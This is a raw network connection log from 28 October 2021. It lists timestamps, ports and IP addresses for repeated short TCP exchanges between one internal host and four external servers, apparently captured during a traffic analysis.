Oct 28, 2021 04:53:17.544403076 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.544919014 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.549086094 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.549232006 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.677356005 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.677371979 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.677447081 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.677500963 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.688692093 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.702967882 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.707309008 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.707345963 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.707356930 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.707367897 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.807809114 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:17.850436926 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.973994970 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:17.974190950 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:17.975003004 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:18.141113997 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.141226053 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.143146992 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:18.144263983 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:18.149012089 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:18.149137974 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:18.315504074 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.315527916 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.315581083 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.697356939 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.697377920 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.697488070 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:18.704634905 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:18.829782963 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:18.870893002 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:18.881658077 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:18.881846905 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:18.882803917 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:18.934497118 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:18.934679985 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:18.934757948 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:18.935448885 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:18.939519882 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:18.939759970 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:18.991336107 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:18.991781950 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:18.992212057 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:19.112519979 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:19.112538099 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:19.112637997 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:19.115794897 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:19.163779020 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:19.163948059 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:19.163964033 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:19.164042950 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:19.169202089 CEST	50073	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:19.221174955 CEST	8116	50073	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:19.273937941 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:19.304241896 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:19.304285049 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:19.304478884 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:19.305150032 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:19.305161953 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:19.318326950 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:19.483738899 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:19.483895063 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:19.485030890 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:19.650327921 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:19.650427103 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:19.650618076 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:19.651236057 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:19.667107105 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:19.667407990 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:19.798804045 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:19.799041986 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:19.800438881 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:19.800446987 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:19.805630922 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:19.805641890 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:19.805746078 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:19.805753946 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:19.832627058 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:19.832658052 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:19.832669973 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:20.210423946 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:20.210443974 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:20.210632086 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:20.213934898 CEST	50076	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:20.334481001 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.379318953 CEST	6891	50076	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:20.382781982 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:20.382901907 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.383524895 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.431190014 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:20.431473017 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:20.431544065 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.432110071 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.435139894 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.435240030 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.483557940 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:20.490973949 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:20.491040945 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:20.491044998 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:20.491096020 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:20.496953011 CEST	50075	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:20.496977091 CEST	443	50075	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:20.623763084 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:20.660008907 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:20.660041094 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:20.664971113 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.668919086 CEST	50077	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:20.716229916 CEST	8116	50077	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:20.790986061 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:20.791131973 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:20.791899920 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:20.867383003 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:20.867428064 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:20.867538929 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:20.868244886 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:20.868262053 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:20.958913088 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:20.959050894 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:20.959129095 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:20.960199118 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:20.966253996 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:20.966284990 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:21.127145052 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:21.133299112 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:21.133313894 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:21.133326054 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:21.363672972 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:21.363753080 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:21.364537954 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:21.364543915 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:21.368592024 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:21.368599892 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:21.368735075 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:21.368743896 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:21.517740965 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:21.517760038 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:21.518215895 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:21.527976990 CEST	50078	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:21.664279938 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:21.695102930 CEST	808	50078	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:21.829668999 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:21.829818964 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:21.830734968 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:21.995937109 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:21.996098995 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:21.996207952 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:21.996923923 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:22.001050949 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:22.016231060 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:22.058065891 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:22.058135986 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:22.058149099 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:22.058192015 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:22.060816050 CEST	50079	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:22.060837030 CEST	443	50079	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:22.166676998 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:22.182316065 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:22.182419062 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:22.210298061 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:22.373431921 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.373563051 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:22.374397039 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:22.537359953 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.537565947 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.537664890 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:22.538364887 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:22.542387009 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:22.542503119 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:22.561959028 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:22.561984062 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:22.562186956 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:22.562247038 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:22.571259022 CEST	50080	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:22.678847075 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:22.701267004 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.705313921 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.705332041 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.705348015 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.705364943 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.705387115 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:22.728075981 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:22.728280067 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:22.729062080 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:22.736526012 CEST	6891	50080	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:22.778152943 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:22.778291941 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:22.778369904 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:22.779066086 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:22.783209085 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:22.783341885 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:22.835251093 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:22.835297108 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:23.018543959 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:23.018572092 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:23.018640995 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:23.018677950 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:23.025399923 CEST	50082	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:23.074734926 CEST	8116	50082	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:23.092859983 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:23.092895985 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:23.092972040 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:23.093003035 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:23.095943928 CEST	50081	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:23.153322935 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.153358936 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:23.153445959 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.154373884 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.154387951 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:23.211577892 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:23.259005070 CEST	808	50081	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:23.376988888 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:23.377304077 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:23.379054070 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:23.544380903 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:23.544507980 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:23.544569969 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:23.545289993 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:23.549616098 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:23.549758911 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:23.650224924 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:23.650336981 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.651467085 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.651492119 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:23.670078039 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.670106888 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:23.670130968 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.670140028 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:23.670152903 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:23.670162916 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:23.714940071 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:23.715039015 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:24.108516932 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:24.108540058 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:24.108625889 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:24.110831022 CEST	50084	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:24.228061914 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.276209116 CEST	6891	50084	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:24.281584978 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.281692028 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.282630920 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.337382078 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.338614941 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.338746071 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.339324951 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.342228889 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.342333078 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.367141962 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:24.367228985 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:24.367322922 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:24.372752905 CEST	50083	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:24.372790098 CEST	443	50083	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:24.397567034 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.397624016 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.397640944 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.532062054 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:24.580940008 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.580956936 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.581094027 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.586693048 CEST	50085	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:24.642051935 CEST	8116	50085	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:24.697416067 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:24.697768927 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:24.699168921 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:24.710447073 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:24.710498095 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:24.710633039 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:24.711807013 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:24.711832047 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:24.865415096 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:24.865573883 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:24.865720034 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:24.866410971 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:24.872895002 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:24.873094082 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:25.031999111 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.038481951 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.038567066 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.038585901 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.038600922 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.038616896 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.214489937 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:25.217824936 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:25.218707085 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:25.218724966 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:25.224309921 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:25.224329948 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:25.224417925 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:25.224425077 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:25.415558100 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.415594101 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.415725946 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:25.421391010 CEST	50086	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:25.538938999 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:25.586945057 CEST	808	50086	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:25.705367088 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:25.705563068 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:25.707076073 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:25.873447895 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:25.873476982 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:25.873656988 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:25.874367952 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:25.877834082 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:25.878060102 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:25.915504932 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:25.915592909 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:25.915705919 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:25.917918921 CEST	50087	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:25.917946100 CEST	443	50087	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:26.044898033 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:26.082159042 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:26.099931955 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.261090040 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.261245966 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.262320042 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.423389912 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.423542023 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.423666954 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.424896955 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.427829981 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:26.427856922 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:26.428267002 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:26.428881884 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:26.431344032 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.431371927 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.439302921 CEST	50088	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:26.560342073 CEST	50090	8116	192.168.2.5	185.56.219.47
